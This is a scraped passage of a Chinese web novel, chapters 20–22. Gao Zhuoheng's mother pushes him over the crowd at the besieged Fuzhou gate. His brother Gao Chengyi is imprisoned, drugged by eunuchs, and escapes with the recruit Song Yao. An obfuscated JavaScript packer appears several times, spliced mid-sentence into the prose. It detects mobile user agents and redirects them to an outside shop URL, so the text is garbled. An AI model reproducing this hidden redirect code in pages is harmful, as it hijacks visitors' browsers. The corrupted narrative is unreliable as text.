高濯衡太累了,他的眼皮在打架,撑不下去了。 赵蓉还在一直喊他的名字。 “衡儿!” “衡儿…” “娘亲带你回冀州去,你大哥或许也去了冀州呢。” 她知道孩子和翊儿的感情更好些,便说起了高承翊:“你记不记得,去年入秋,庄子里拿来好多螃蟹,衡儿…你喜欢吃螃蟹对不对?哥哥怕你吃坏肚子,藏起来不给你吃,你就跑去他房里吵他,夜里不让他睡觉。” 她用力晃了晃手臂,“你大哥最是心疼你,护犊子。凡是有什么吃的喝的,新鲜玩意儿,第一个想着的就是你了。你刚出生的时候,他也才七岁,比你现在还小呢,趴在你的小床边,把你的脚指头手指头,都数了个遍,身上翻开,仔仔细细的认清楚,怕有人把你偷走,换掉。” 高濯衡能听见,但他没力气应声。 听到这儿,他动了动。 赵蓉看有效便继续说起高承翊:“娘亲知道,你也最喜欢他,比起爹娘,跟哥哥更亲些。也…是娘不好,总是端着,要你听话懂事,要你守规矩,疏远了你。” “你哥哥太规矩了,让娘总觉得所有孩子都得像他一样。其实…何必管束如此严厉?调皮活泼,是天性啊。” 童真快乐的时光,白驹过隙。她至今都时常想起幼时的事。 “咱们出去之后,也可以去西南,你还没见过你舅舅。你舅舅…他小时候也和你一样,闲不住。祖父说他性子浮躁,不沉稳,是极靠不住的。可如今,整个西南靠他撑了起来。” “上月收到信,还说抚州建了港口,他们的船就好来了。还说要告假,跟船来抚州看大外甥,小外甥。”她的手探去前头,摸高濯衡的脸,“看…我。” 明明那么热,出了那么多汗,她的手却冰凉。 高濯衡被那手的温度吓得睁开了眼睛。 这会儿更挤了,他想回头,可半点都动不了。 他后背贴着赵蓉的前胸,那心脏还在跳,跳得很急很快。 “娘亲…” “诶。”她应着,“醒了啊?可不能再睡了。好二宝,别睡,跟娘亲说说话。” “我们真的能出去吗?”他问。 “能的。”赵蓉道,“娘亲还有很多事想做,还有很多地方想去…还要看你大哥成婚生子…你还小,日子以后长着呢…” 她才说完,却听一声近在咫尺的炮响。 拥挤的人群顿时更加骚乱了,后边挤着前边,前边倒地的被踩在脚下。 城门只有那么窄,有的人已经爬去了城墙上,可城墙又太高,不多时力竭掉下来,就再难爬起来了。 有的胆子大的,甚至还想踩着人过去。 没走几步,就掉落,或被人拽下。一声声越来越近的炮响,是整个抚州的丧钟。 一个护卫的声音传来:“夫人,咱们不能再往前挤了,要从后跑。” 他们被夹在人群中间,往后也是艰难。 “怎么往后?” “炮再近些,后边的人就会四散逃跑,咱们往后挤,或许还有生路。” 好不容易挤在前边,她尚还有一丝余力往后挤,可身前的孩子,已经去了半条命,再挤出去,她还能抱得住他吗?就算她抱住了,没有脱手,孩子还能活着吗? 就算… 孩子还活着,那要再往哪儿逃? 赵蓉咬牙心一横,用力将怀中人摇了数十下。 高濯衡觉得自己的五脏和脑浆都被高温煮化,又被赵蓉摇散了。 “衡儿!高濯衡!回答我!” “娘亲…别摇了…难受…” 她把高濯衡高高举起:“你看清楚,能看见城门吗?” 那一片乌泱泱的全是黑色的头顶,抚州富庶,人讲究气派,又盛产丝绸,可真当屠刀火炮落到了身边,无论穿着绫罗绸缎,还是赤膊光脚,众生平等,全站在这里,竭尽全力的要挤过那扇原本看上去高大,如今却根本无法让几十万人同时走过的城门。 “看得见。”那不过几十步的距离,“可都被人堵死了,都在往外挤…” 只听赵蓉高声喊道:“求各位乡谊救救命!让孩子出城吧!求求各位了!让孩子过去!” 护卫们听懂了她的意思,与她一同合力将高濯衡举过了头顶。 护卫们喊道:“各位帮帮忙,这是高总督家的小公子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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其中还有几个掉了下去,众人见状,也不敢轻易让孩子这样爬。 高濯衡很机灵,他看准了手去爬,膝盖和脚落在人潮最拥挤处的肩膀上,手上随时用着力气,以免落下。 他此刻已经离赵蓉很远了,但耳中依旧还回荡着赵蓉的声音,那声声的「活下去」,给他注入了力量。 他精明,小心思多,表面乖顺,背地里调皮。很小就会说谎,实在不能算个听话的好孩子。 可今日要离开母亲了,却后悔的要命。 为什么不听娘亲的话,为什么要猜忌那么多? 高濯衡,你是个坏孩子。 高濯衡,你不可以再这样了,你以后一定要听娘亲的话… 一定要听话。 娘亲说要活下去! 他便要活下去! 他要去找哥哥,要去找夏辛。 娘亲说让他去冀州,他还要去看看在西南的舅舅。 他往前爬,每一步都谨慎万分。即使离城门越近,越知道挤过去的可能性微乎其微。 那扇门,堆满了被踩死的人。 门后有兵在往外拖死人,城门上原本维持秩序的士兵,面对这么多的百姓,根本无计可施。 高濯衡越靠近城墙,越不知该怎么走怎么爬。 就在此时,他听到了一声熟悉的:“衡儿!” 高濯衡抬头。 在那十岁孩童眼中跟天一样高的城墙上,高承翊半边身子垂在外头,死死地盯着他,“衡儿!!” 他没认错人,真的是他弟弟。 高濯衡也没认错人:“哥!” 20. 入朝为官就错了 高承翊到军营时已经入夜了,他栓了马嘱咐喂马的士兵给他的马添草料。 他的黑马是玉岱山马场,用悍马配的种。 皇宫里用的御马就是这种。 比一般的马更高大,背也更宽些,腿长,速度和耐力都十分优异。 是三年前光盛帝御赐给高琰的,一共五匹,来抚州时都还是小马驹。 高琰挑了其中最温顺的,送给了高承翊。 大多数的好马性子都刚烈,难以驯服,高承翊在军营里养过马,知道怎么驯养,听父亲说这匹是那些马里最温顺的,起初还不是很情愿。 他想要匹烈的,凶的,越是难训,难管,越好。他喜爱驯服,享受桀骜不驯者臣服后带给他的快感, 即使是马,是他的马就只能认他一个,听他一个人的话,只给他一个人骑。 可当他看到那匹通体漆黑的小马时,立刻喜欢上了。它皮毛油润光亮,鬃毛长长的垂在一侧,静静的站在那里。 高承翊靠近它,它便用黑亮的眼睛打量高承翊。 高承翊把切好的苹果块递给它,它小步靠近,在试探中吃掉了苹果。之后还微微低下头,让高承翊抚摸它项背上的鬃毛。 高承翊为它取名「皂雪」,珍惜到了高琰说他把马当人养的地步。 皂雪有次生病,他甚至睡马厩里陪了三天。 高承翊拍了拍皂雪的背:“今晚休息,明儿咱再回去。” 他说完便朝周季修的军帐走。 周季修和王禹志两人,是高琰一手提拔起来的将领。 周季修的军职更高些,是正四品的参将。 去年军营调动,王禹志分了两千多兵去了涸东,那是大渊朝的东北边,驻守关内,是件苦差事。 周季修较之幸运的多,还能留在江南富贵地,如今仗打完了,守备军便只需固守城墙,等港口开启后,派兵护卫港口便可。 高承翊觉得军营里肯定没什么大事,故而脚步是比较轻快的。 他站在帐前等人通传,不过片刻有士兵掀开军帐请他进去。 他个子高,入帐需微微弯腰,才走进一步,不等他直起腰,便被背后闷棍敲晕在地。 等他再醒过来时,已经不知被关在了何处。 后脑勺被敲的地方像是被撕掉了头皮般的疼,高承翊趴在一片稻草堆上,想爬起来,手脚却发软无力。 全身上下,只有那颗疼的要命的脑袋能动。 他转着脖子尽量去看四周——掉渣破损的砖墙,牢门,一盏油灯。 高承翊庆幸自己的脑子还没有被敲傻,他立刻明白过来,是周季修把他骗来军营,打晕后,喂了能让他浑身无力的麻药。 他怎么敢这么做?他这么做的目的又是什么? 难道是父亲…出事了? 一个下属,有胆子关押顶头上司的儿子,说明他往后,再也不用仰仗这位上司了。 高承翊太混乱了,他脑中想法太多,却没有一个是好的。 他和父亲都信错了人,他更是错的离谱,父亲交代他看家,他居然撇下母亲和幼弟,中了周季修的圈套。 高承翊恨得咬牙切齿,却没有丝毫的办法。 他等着身上的麻劲儿过去,在这暗无天日的地方,也不知外头是白天还是晚上。 等稍稍能动后,高承翊撑着地,费力的翻身,双腿和腰部用力,总算是能坐起来了。 他在里头分不清时辰,只知道等了很久很久,才有个人来给他送饭。 白米量很多,配了点水煮的萝卜和烂菜叶子。 “你是守备军吗?”高承翊拽住他问,“是周季修的部下?” 那士兵年纪不大,看样子也才十七八,被他这样一抓反而吓得瑟缩了一下,无措地看向他。 “你不认得我?你是今年新入营的?”高承翊继续问,“高琰是我的父亲,我叫高承翊。” 士兵要甩开高承翊的手。 高承翊的体格比那小兵壮,他饿了许久,体内的药性也还没完全散光,不及之前有力气,但也不是轻易能甩开的。 “你在为虎作伥!你来军营是为了驱除外敌,建功立业的。”高承翊道,“你被周季修利用,来日清算,第一个被他抛出来顶罪的就是像你这样的新兵。” 那小兵听到这,脸色有些变化,是在动摇。 高承翊接着问:“这里是哪里?还是守备军军营吗?” 小兵微微点了点头。 “守着我的只有你一个吗?”高承翊小声问。 那小兵摇头:“外头还有人,只不过他们都在忙。” “忙?什么事?”高承翊问,“现无战事,营中只需固定操练,修整装备即可。” “昨夜水寇突袭,正整军迎敌呢。”那小兵说完,怯生生地继续问,“你真是总督的儿子?” 高承翊点头,说了几个将领和所识百夫长的名字:“他们都认识我,你叫什么名字,家是哪儿的?” “我叫宋遥,家在汾州。”宋遥道,“水寇杀了我爹娘,我投军是为了跟着高总督打水寇为我爹娘报仇的。” 他说着也坐到了稻草上:“可是队伍整备,却没算上我。百夫长看我个子小,又瘦,瞧不上我。” 他家里在汾州沿街做小生意,楼下卖货,楼上住人。 水寇夜袭,闯进去杀了他的家人,他在外读书躲过一劫。得到噩耗后归家,看着惨死的家人,弃笔从军。 原本按他的体格,军营是不会要的。可他会写字算账,招兵的觉得往后港口要做生意,他们不能全都大字不识,得找几个通文墨的,到时好办差事,便将宋遥招进了军营。 可负责操练他的百夫长就不乐意了,一个兵不能瘦瘦小小的像根麻杆儿。 宋遥挺受打击的,但也觉得自己这幅不争气的样子,上了战场肯定会死。 他和营里的士兵们一样,崇拜高总督,又因读过书,更想往后也能和高总督一样,文能蟾宫折桂,武能安邦定国。 只可惜,如今满营皆要去杀敌,只有他被安排在营地看管犯人。 这犯人衣着尊贵,长相不凡,体格健硕,高个长腿,说自己是高总督的儿子。 宋遥没见过高总督,但又觉得他说起话来头头是道,很有道理。 听闻水寇突袭,高承翊不可置信的瞪大了眼睛:“什么?怎么可能!” “怎…怎么了?” 高承翊道:“你入营迟,不知其中事。我说与你听。” 他将去年的战役讲给宋遥听,如何排兵,如何设伏,杀了多少,缴获了多少东西。 宋遥越听越觉得这人不是普通囚犯,军营只有士兵,为何会关押囚犯。关于战役,他知道的那么清楚,即使不是高总督的儿子,也是十分关键之人,至少比自己要关键得多。 “本就是一帮穷凶极恶的水匪,被如此重创后,又怎能凭他们自己,这么快卷土重来。” 宋遥听完沉吟片刻,点了点头:“你说的对。” “你告诉我,昨夜是什么情形?他们抢了没跑吗?守备军是去善后,还是真迎敌?”高承翊问。 宋遥道:“是迎敌。” 他将水寇的情况告诉了高承翊,不等高承翊说,他自己说完,也猜出了其中关窍:“难道是有人通敌?” 高承翊没再说话,宋遥也是。 高承翊怕自己说太多,让宋遥更不信他,谁会相信一个堂堂四品总督通敌呢? 而宋遥也猜到了,如果此人真是高琰的儿子,那周季修绝对有问题。 宋遥站起身,往外走,走到牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101033|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门边,从怀中掏出来了一个油纸包,丢给了高承翊,“这是我藏起来打算自己吃的,给你了,我再去找些干净的水。” 那里头包着两个油汪汪的鸡腿。 高承翊心道:好在遇上个聪明人。 而宋遥,出门后便开始观察营中动向。 他从军是为了跟着高总督打水寇,不是要当周季修的替死鬼。 但他也不能毫无防备,直接放了高承翊。毕竟无论是哪边有问题,他都是最底下首当其中的背锅小喽啰。 看似把最微不足道看守的活交给他,实则是把他架在火上烤,还准备烤完就丢了。 他全家都死了,若是这么早去地府报道,爹娘姐姐,祖父母,都得骂他没出息。 抚州城破前一天,军中得到了高琰通敌的消息。宋遥在将消息告诉了高承翊,看到了他愤怒的表情后,决心跟他一起逃跑。 “我是汾州人,打小听着高总督打水寇的故事长大,我们汾州原本全是水寇,官府和外邦猴子勾结,民不聊生。”宋遥道,“是因为总督到了,我们才有了活路。我家里是拿着高总督给拨的银子,分的铺子,才开始做小生意的。卖油米醋茶,还有我娘做的豆腐,这才有了我读书的钱。” 他小声道,“说句大逆不道的话,皇帝换人做了,我都不信高总督会通敌。” 高承翊道:“他用汾州做饵诱敌,你不恨吗?” 宋遥道:“那次汾州人并非全死绝了,数百人命,对比水寇的伤亡,可算是大捷。你说他将那一仗当决战来打,我虽死了家人,却能理解。” 高承翊细细端详着这个有些文弱的小兵,觉得他身上,有些东西,和父亲十分相似。 “那次死伤的人数,远不及这回水寇突袭。如今汾州还没打回来,或许城中人会被屠尽。所以就算没有去年那回,今年我家人只要还在汾州,也还会死,没准我也会死。错的是战争,是水寇,不是他。”宋遥道,“两江人都将他神化了,他越是走的高,越是做对了事,所有人便越是觉得他是万能的,是不会犯错的,可他也是个凡人。你呢,身为人子,可还记得这点?” 高承翊低头呢喃:“父亲是…不会犯错的。是啊,我从来都不相信,他会错。” 宋遥道:“若说错,只战局而言,他打算决战之时,就错了。杀而未决,导致今日反扑,沿海沦陷。若统帅而言,他用了周季修的那一刻,就错了。错用奸人,致你今日被困,有性命之忧。” 高承翊苦笑了两声:“究其源头,他执笔考场,入朝为官那日就错了,当了大渊朝的官,呕心沥血,忠了不义之人。” 宋遥道:“大逆不道之言。” “你连日来,跟我说的大逆不道之言更多些。”高承翊道。 宋遥道:“诛九族的大罪,都只能杀我一个。我有何惧?被安排来守着你的当下,我就死了。” 高承翊道:“被周季修骗来的当下,我也死了…” 两个‘死人’互相看着。 宋遥啧了声:“你长得和你爹像吗?” 高承翊点头:“都道像的。” 宋遥笑了声:“那我也算看了一小半高总督的风采了?” 高承翊道:“差远了。” “你的马我还没找到。”宋遥道,“今天晚上,我找机会,咱们一起跑。” 他说完,收了碗筷,打算离开。 他往外走,却听有人往里来。 就见一行人往这边走,领头的是本该在垣平固防的周季修。 他半躬着身子恭敬地走在前头引路,跟着他的是个戴着黑色兜帽斗篷的男人。 而男人身后,跟着几个穿着黑色织金曳撒的高个护卫。 宋遥行了一礼后往外走,在即将离开前,听见周季修说了句:“公公,请。” 21. 死了吗? 宋遥拉住了个士兵打听道:“周将军怎么回营了,垣平那边怎么样?汾州呢?打回来了吗?” 士兵摇头:“还没呢,营里都在传总督通敌。” “大伙信这话?”宋遥问。 士兵依旧摇头:“打死我都不信,可上头说是千真万确。”原本这种战前时刻,老兵们要修整自己的装备,下了战场检查刀、斧是否卷刃是不必说的,火铳也需检查,那玩意儿要是炸膛了,伤的可是自己。还有腰包里的燧石、火药,腰带上挂着的震天雷也需数清楚,补上新的,才没时间搭理像宋遥这样‘游手好闲’的新兵蛋子。 可如今因这消息,军中人心涣散。大家都在等高总督回来,却等来了正是因为高琰通敌,才有这场仗的消息。 “咱信不信有什么要紧呢。”那老兵摸出了别在腰带里的烟枪,“还不是上头说什么,咱们做什么。” 他蹲下抽烟,宋遥也蹲到了他旁边:“总督有儿子吗?” 这问题没头没尾,不过正聊高琰呢,老兵便顺着道:“有啊,两个呢。” “你见过?” 老兵道:“大的见过,十三四岁就带来战线参战了,就上一阵还杀敌立过功呢。常来咱们营,长得和总督很像,但更秀气些,刚来时就是个白嫩少爷,后来跟着咱们一起操练,也晒的黑。” “总督的儿子,和普通士兵同吃同住?”宋遥问。 老兵点头:“是啊,不太喜欢说话,见人就笑,和周将军走得近,凡他在营中,两人总一起。” 宋遥接着问:“那小的呢?” 老兵道:“那就没见过了,养在城里吧。你打听这些干嘛?” 宋遥小声继续问:“汾州还没打回来,周将军为什么回来了?” 老兵警惕起来:“你刺探军情啊?” 宋遥皱眉:“我是汾州人,往上数三代都是良民,家里有人死水寇手里,还有宗族都在汾州,我着急!” 老兵听着心里也有些难受,拍了拍宋遥的肩膀:“兄弟们也都这么说,光在垣平固防了,水寇不来,周季修也不主动出击。大伙估计着他是在等太子来,谁敢跟皇帝的儿子抢功劳呢。” “那就眼睁睁看着汾州百姓受苦?”宋遥声音不自觉高了三度。 被老兵捂住了嘴:“你小声点吧。” 宋遥眼眶都红了,老兵松手后,他小声说:“去他娘的通敌,总督要在,绝不会等。” 老兵也跟着握紧了拳头:“是啊,垣平后边就是抚州,那么大一座城,不比其他小县,一百多万人呢。万一有个什么差池,他们自己在城中的家眷也都受牵连啊,真不知道是咋想的。” “你家里有人在抚州?”宋遥问。 “有啊。”老兵道,“老父老母,老婆孩子,都在城里呢,还有个和你一般大的弟弟,我家是军户,弟弟分去守城门了。你也别太忧心,都赢那么多年了,周季修挺能打的,不至于没了高总督就要吃败仗。” 他抽完了烟,起身走了。 宋遥想叫住他,却忍住了。他是新兵蛋子,周季修是将军,周季修比他更可信。 地牢里,高承翊被人强制按住跪在那穿着兜帽人的身前。 那人掀开了帽子,露出一张干净的白脸,没有胡须,单眼皮,垂着眼睛打量着跪着的高承翊。 “你就是罪臣高琰之子?”嗓音尖细。 抚州有织造局,晏江那边的港口有市舶司,高承翊和太监打过交道,一眼就看出这个人是宫里的。 高承翊不说话,便有人上前来,对着高承翊的脊背,打了一鞭。 那不是普通鞭子,是专门制作用于刑罚的工具,粗皮上有毛刺,是北镇抚司的东西,一鞭子下去,皮开肉绽。 春末,高承翊只穿单衣,背上立马被撕开一道血痕,他咬牙忍着,没发一声。 “还真是个硬骨头。”那太监笑了笑,“看你到时进了诏狱,还是不是这么硬。” 他示意一旁拿鞭子的要再打。 却见他身后穿着黑色织金曳撒的高个子里走出来一个,抬手叫停了拿鞭子的人。 那人很瘦,高承翊抬头看见个鼻梁高而尖的侧脸,鼻背处像微微耸立的驼峰,鼻尖高得像要将那层薄薄的皮肉戳破。 眉弓、颧骨和下颌角都比一般人要锋利些。伸出的手,指节很长,骨头突出,在那盏暗灯下白得瘆人。 他转过头,带着一股阴鸷的压迫感。 那太监脸色沉了下来:“温公公这也要管?” 这人被称作温公公,高承翊一时有些诧异,他没见过这样的太监,一点都不像太监,打眼看过去就是个正常男人,喉结突出,肩膀宽阔,更像个锦衣卫。 但再仔细去看,那眼神、动作,都带着阉人瘆人的阴气。不是造作,不是阴柔,是不似人的阴气。 温寻墨蹲下将高承翊打量了一番,那时只觉得是个普通的公子哥儿,最多是长得好点。 且大约命不长。 他自己受过刑,他是怕疼的,可没地儿说也没人说,谁会关心一个太监怕不怕疼呢。可正是因为他知道疼起来有多难受,便想少一个人知道最好。 温寻墨人在东厂,干着拿刑具折磨人的活儿,可要是能选,他不想太伤着别人。 “皇上那边还没给定罪,官员罪责未定前不可酷刑折磨。”温寻墨开口,那股子太监味就出来了,那种干涩的又粗又高尖的难听声音,是只有太监能发出的。 当时的高承翊只觉得难听,他背上的伤口,已经让他疼的没心思想别的了。 直到后来,他听温寻墨谦顺地半跪在他的二宝身前,用极温和平缓的语调,搭配着他略微低沉的好听声音,跟他的二宝说话时,高承翊才知道,这个人的太监嗓儿,是装的。 温寻墨继续说:“高公子已中举人,按律例见官是不用跪的。皇上的旨意是让咱们给他押送进京,不是搬出诏狱审犯人那套把他打死。当然刘公公喜欢,多打两下也不是不行,咱家只是想提醒一下刘公公,仔细着下手,打死了可不好交差。” 他站起身,转过去,面向刘诚:“放着周将军备好的接风宴不去,在这脏地方浪费时间,咱家替刘公公可惜。” 刘诚皮笑肉不笑地哼了一声:“我也是带着差事来的。” 刘诚是太子的人,官职比温寻墨大上些,可温寻墨是奉了皇命跟着来的,他是皇帝的眼线,看见什么听见什么,回了宫里,事无巨细都需禀报给圣上。 刘诚办事,需防着温寻墨三分,还得让着他七分。 温寻墨推开一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101034|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手做了个请的手势:“公公,请吧。” 只见刘诚从袖中拿出一个木盒,打开后从里面取出一颗红色的药丸。 他命人制住高承翊,要撬开他的嘴。 高承翊挣扎数次未果,被人将药丸塞进了喉管中,被迫吞下。 那些人捂着他的嘴,不让他吐,他挣扎得太厉害,刘诚就拿绣春刀的刀柄,砸他的头。 大约是三下,还是四下,高承翊便再没挣扎的力气,倒地不起。 刘诚从怀中掏出了一截绣花熏香的蚕丝手绢,擦了擦他干净的手,就像手上沾了什么脏东西似的,在擦完后,一脸嫌弃的将那昂贵的手绢,丢在了地牢里。 “哼,我看他没那么容易死。”刘诚道,“看这身板儿,是练过的。” 温寻墨冷眼看着,他原本是不会出手,甚至连话都不会多说一句,可今日又说了话,又出了手。 不为别的,他心中挺敬佩高琰的。 他也曾是官家子,父亲也为官多年。 一朝入狱抄家,死的死散的散,如今看着高承翊,生出了些没必要的同病相怜。 “再好的身板儿,也经不住这丸药啊。”温寻墨道,“我饿了,走吧。” 宋遥整个下午都不敢再进牢房,怕打草惊蛇。 入夜后才悄悄地摸进去,他身上带了一堆逃跑用的东西,还从马房牵了两匹马。 进来后看着高承翊趴在地上,还以为他睡着了,他先叫了两声,高承翊没反应,他便上前去拍。 地牢里太暗了,这一上前,才看清,高承翊满头的血。 宋遥不禁想:周季修那些人来去匆匆的,竟然是来灭口的? 他把趴着的高承翊翻过来,拍了拍他沾着血的脸:“死了吗?” 再细看,额上的伤口已经结痂了。探了探鼻息,还有呼吸。 他便开始摇高承翊,摇了几十下,还是没反应,他只好揪着高承翊的领子,拍高承翊的脸,越拍越用力。 眼见着没反应,宋遥抡圆了胳膊,准备甩他两个大耳刮子,还打不醒,那就别怪他自己先跑了。 宋遥先尝试了两下,找准角度,然后用力一甩,就在手掌即将拍到高承翊脸上的时候,被高承翊伸手抓住了。 高承翊的眼皮抽了两下,缓缓睁开:“你要干嘛?” “哎呀老天保佑,我还以为你死了!”宋遥道。 高承翊撑着坐起,咳嗽了起来。 他想把那药吐出来,可如今距离他吃下药丸,已经过去将近两个时辰了。 可对于他来说,似乎只是一瞬间:“不是说晚上来吗?” “已经入夜了啊。”宋遥道,“你被周季修敲脑仁敲傻了吗?” 他被砸倒在地时人还是清醒的,能听见脚步渐远的声音,他想去扣嗓子将那劳什子吐出来,肚子里跟被火烧似的难受。 可怎样都动不了。 疼,要了命的疼。 头、肚子、背,手脚,像有虫子爬过,又像是蜜蜂蚂蚁蛰咬,还像有人把他的骨头全碾碎了,把肉架在火上烤。 高承翊这辈子没这么疼过。 疼得他只想立刻就死。 可就当他即将崩溃的时候,耳边却响起了一声弱不可闻的——“哥。” 22. 是在等谁? 是衡儿的声音! 他怎么会在这儿? 高承翊一时间怕的要命,他害怕弟弟也被他们这些人抓起来了,那母亲呢? 他的意志开始动摇,这些人是太监,是宫里的人,周季修不仅将他关了起来,还带着宫里的人来,难道父亲真的通敌? 为什么… “哥…”又一声。 似乎有一双温暖柔软的小手覆在了他的手背上,高承翊拼尽全力地抬眼去看,他在剧痛的濒死感下,在药物营造的幻像中,看见了弟弟蹲在他身前,用小手一下一下抚着他的背。 那手在背上每顺一下,他的疼痛就消散一点。 他清楚的明白这是假的,甚至觉得是自己死前的幻想。 可他若真的这样死了,二宝肯定会哭,会特别伤心。 弟弟还那样小,不能没有他。 接着,高承翊就听到了宋遥急躁的声音。 他听得清楚,可对身体的控制,还在慢慢恢复。幸好在那巴掌到脸上之前拦住了,不然旧伤叠着新伤,脸上还顶俩大手印,实在有碍观瞻。 高承翊换上了宋遥给他准备的军装,他这套装备带得齐,除了编号管制的火器,其余的都给高承翊配上了。 他们等到子时换防时,利用对地形的熟悉,和换防间隔,趁夜色顺利跑了出去。 高承翊背上和额上的伤口,随着跑动还在渗血。 却意外地不觉得很疼。 宋遥领着高承翊去找他藏在山林里的马,这才走到地方,皂雪便从不远处现身奔来了。 它通体全黑,在夜色下倒是难以察觉。 高承翊喜出望外:“皂雪!” 宋遥啧啧称奇:“你这马真有灵性啊。” 两人没多话,都跨上马,高承翊是有目的地的,他要回抚州城,回家找母亲和弟弟。 而宋遥是无论往哪边跑,远离了军营才是正经。 宋遥问高承翊他们俩是不是该把军装脱了,但高承翊说,现在正乱着,穿着军装更容易混进城。 宋遥这才知道他要去抚州城,这的路他不如高承翊熟。 高承翊回头看了看他,对他道:“你就别跟着我去了,有危险。” 宋遥道:“废话,我能不知道有危险?可我能去哪儿?我去哪儿现在都有危险,我现在叫逃兵,而且是私放‘钦犯’的逃兵。”他停顿思考了片刻,眼见着高承翊骑着马越跑越远,宋遥也只好往前追,“我跟你一起去!” 高承翊道:“不用。” “不是为你,是为了高总督。”宋遥道,“我从军本就是为了追随他,要杀水寇为家人报仇。” 这是他全家人死绝了之后,唯一活下去的动力。 宋遥道:“如今高总督蒙冤入狱…我又把你给放走了,留在军中,到时查出来,我必定会被问罪。我实在没地儿去,而且我也想知道其中内情。”反正他孤身一人,无牵无挂的,现在也无路可退,想知道就去查问,没准死前还能见上高总督一面。 宋遥问:“那些是什么人,他们把你打成这样,是想杀你灭口吗?” 高承翊摇头:“不是,我也…不清楚,乱得很。我们俩猜测的是周季修通敌。可听你带来的消息,周季修实打实的在固防,也没打算要跑。另外他刚刚带来狱中的人里,有太监,似乎是东厂的人,其中一个高个子,被称作温公公,穿着飞鱼服。” “宫里的太监?”宋遥问,“太监,跟周季修有没有通敌,泄露军情和布防,有什么关系?” 高承翊道:“太监都是宫里的眼线,他们穿御赐的衣服,他们的主子只有一个人,就是皇上。只有皇位上坐着的人是他们的主子时,他们才享有荣华、权利。太监是绝不会背叛皇权的鹰犬。他们不会偏帮我父亲,也绝不会放任周季修通敌。” 宋遥道:“万一太监们还不知道呢?” “别小看东厂和锦衣卫。你怎么不说,万一真是我父亲通敌呢?”高承翊道。 周季修和太监们在一起,那么至少在皇帝看来,周季修没有通敌。 高承翊猜测周季修通敌,是没有实际证据的。出发点是周季修无缘故关押了他,还有便是他们对高琰的完全信任。 而东厂,必定是彻查过的。单从此项看,周季修通敌的可能性很低。 且即使按照高承翊猜测的周季修通敌,他也一直没想到周季修通敌的理由。 这个人没有理由通敌,那高琰有吗? 也没有。 两个完全没有理由通敌的人,到底是谁通敌了? 若没有人通敌,水寇怎会来的那么巧,那么快? 还是通敌的另有其人?这其中到底有什么隐情,真相到底是什么? “当我看见周季修和太监们站在一起时,我都不自觉的想,难道真的是我父亲通敌了?”高承翊打心底里感到恐惧和绝望。 宋遥:“总之我相信总督。” 高承翊看着这位父亲坚定的追随者,苦笑了一下。 宋遥道:“真的,不止我,军中的弟兄们,还有两江的百姓,都相信总督。” 为官一方近二十年,他为百姓做的事,百姓都记得。 宋遥继续问着:“那太监们有说什么吗?” 高承翊道:“说要将我押送京师,他们也没有要审我的意思,应是要留着去京城,另有旁的什么人要审我。可我真的什么都不知道。” 宋遥问:“是皇帝要亲自审问你?” 如果真是皇帝要审他,那为何要给他喂药? 那姓刘的太监说,他是带着差事来的,他的差事就是个高承翊喂下那颗药。 那药到底是干什么的? 高承翊没把被灌了药的事说出去,只微微点头:“可能吧,就算不是皇帝,也是奉了圣旨的人。那太监说,是去诏狱。” 宋遥听到‘诏狱’两字,起了一身的鸡皮疙瘩。 “就是那个,关押钦提重犯,九死一生…不,不是九死一生而是只进不出的地方?”宋遥在马上咋呼起来,“那…那岂不是上边人和皇帝都信了总督通敌?!不仅要抓了总督,还要抓你这个亲儿子,父子俩一起审,一起治罪!” 宋遥可真是会说话,把高承翊脑子里想着却不敢说的话,一股脑叭叭地全说了。 高承翊跑着马沉默了良久,才缓缓道:“或许是不信的,但敌袭已来,事已发生,没找到那个通敌的罪魁,就得找人顶上这份罪,给天下人一个交代。我父亲是两江总督,首当其冲第一个问责。” “问责也该等退敌之后啊。这么着急找人顶,不就是背锅?”宋遥道,“官当到了封疆大吏,还要出来背锅?给谁背锅?” 宋遥一语惊醒了高承翊。 高琰走前说,他效忠的是皇上。 无论太子一党还是燕王一党谁拿下了港口的实权,最终都需由最了解晏江,执行力最强的高琰来办这件事。 按这样来说,高琰是有资本不会无端被皇权抛弃的。 可如今的事实是,他似乎真的被皇权抛弃了。 高承翊问:“你之前说,周季修在垣平固防,是在等谁?” 宋遥道:“等太子啊,太子亲征。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101035|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 